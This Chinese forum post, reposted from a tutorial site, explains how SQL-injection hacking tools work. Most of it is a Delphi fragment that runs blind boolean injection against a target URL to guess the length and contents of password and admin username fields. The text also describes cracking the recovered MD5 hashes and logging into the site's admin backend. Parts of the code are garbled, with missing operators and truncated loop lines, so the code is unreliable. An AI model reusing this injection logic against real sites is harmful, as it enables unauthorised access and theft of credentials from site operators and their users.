• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    黑客的脚本漏洞工具分析(图)

    发布者: 雪落无声 | 发布时间: 2025-6-27 16:07| 查看数: 96| 评论数: 0|帖子模式


    上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码pj工具进行pj的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下:
    procedure TMainForm.GuessContProc(ListInt: integer); { SQL注入 - 多线程猜解字段内容 }
    function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string;
    begin
    Result := Url ’ and exists(select * from ’ TableName ’ where len(’ FieldName ’)’ LevelStr IntToStr(Len) ’ and id=(Select max(id) From ’ TableName ’ where id in (select top ’ TOPStr ’ id from ’ TableName ’ Order by id)))’
    end;
    var
    TableName: string;
    FieldName, S: string;
    ContentInt: integer;
    i, Len, LengthInt, N: integer;
    GridCount: integer;
    Colu: TColumn;
    FlagBool: boolean;
    begin
    Len := 0;
    LengthInt := 0;
    FlagBool := True;
    TableName := TableNameLst.Items[TableNameLst.Itemindex];
    FieldName := Memo2.Lines[ListInt];
    if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or
    (LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密码’) or
    (LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) then
    begin
    ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);
    if ContentInt >= and1Num then
    begin
    SqlResultMemo.Lines.Add(FieldName ’长度: 16’);
    LengthInt := 16
    end
    else
    begin
    while (Len
    begin
    application.ProcessMessages;
    inc(Len, 2);
    Pane1.Caption := ’正在检测长度en(’ FieldName ’)=’ inttostr(Len);
    ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
    if ContentInt >= and1Num then
    begin
    for N := Len - 1 to Len do
    begin
    ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
    if ContentInt >= and1Num then
    begin
    LengthInt := N;
    SqlResultMemo.Lines.Add(FieldName ’长度: ’ inttostr(N));
    FlagBool := False;
    Break;
    end; // if
    end; // for
    end; // if
    end; // while
    end;
    end
    else
    begin
    while (Len
    begin
    application.ProcessMessages;
    inc(Len, 2);
    Pane1.Caption := ’正在检测长度en(’ FieldName ’)=’ inttostr(Len);
    ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
    if ContentInt >= and1Num then
    begin
    for N := Len - 1 to Len do
    begin
    ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
    if ContentInt >= and1Num then
    begin
    LengthInt := N;
    SqlResultMemo.Lines.Add(FieldName ’长度: ’ inttostr(N));
    FlagBool := False;
    Break;
    end; // if
    end; // for
    end; // if
    end; // while
    end;
    GuessLsv.Clear;
    if Len >= 50 then
    begin
    sql_EdUrl.Enabled := True;
    Sql_GuessTable.Enabled := True;
    TableNameLst.Enabled := True;
    FieldNameLst.Enabled := True;
    application.MessageBox(’列名长度大于50,猜解失败!’, ’提示’, 32);
    Exit;
    end;
    Pane1.Caption := ’正在检测’ FieldName ’的内容...’;
    GuessLsv.Update;
    if LengthInt = 5 then
    begin
    ContentInt := Get_HttpSize(Sql_EdUrl.Text ’ and exists (select top ’ sqlEdTop.Text ’ ’ FieldName ’ from ’ TableName ’ where instr(’ FieldName ’,’’admin’’)=1 and len(username)=5)’);
    if ContentInt >= and1Num then
    begin
    s := ’admin’;
    for i := 1 to 5 do
    begin
    application.ProcessMessages;
    with GuessLsv.Items.Add do
    begin
    caption := ’第’ inttostr(i) ’位’;
    SubItems.Add(s);
    end;
    sleep(60);
    GuessLsv.Update;
    end;
    inc(SQL_ScanContent_ThreadCreateCount);
    StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’admin’;
    StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’检测中...’;
    SqlResultMemo.Lines.Add(FieldNameLst.Items[FieldNameLst.Itemindex] ’内容:admin’);
    if SQL_ScanContent_ThreadCreateCount
    GuessContProc(SQL_ScanContent_ThreadCreateCount - 1);
    Exit;
    end
    else
    begin
    for i := 1 to LengthInt do
    begin
    application.ProcessMessages;
    with GuessLsv.Items.Add do
    begin
    caption := ’第’ inttostr(i) ’位’;
    SubItems.Add(’检测中’);
    end;
    sleep(30);
    end;
    end;
    end
    else
    begin
    for i := 1 to LengthInt do
    begin
    application.ProcessMessages;
    with GuessLsv.Items.Add do
    begin
    caption := ’第’ inttostr(i) ’位’;
    SubItems.Add(’检测中’);
    end;
    sleep(30);
    end;
    end;
    从上面的代码中,我们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的 是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。

    来源:https://www.jb51.net/hack/4975.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    ×

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表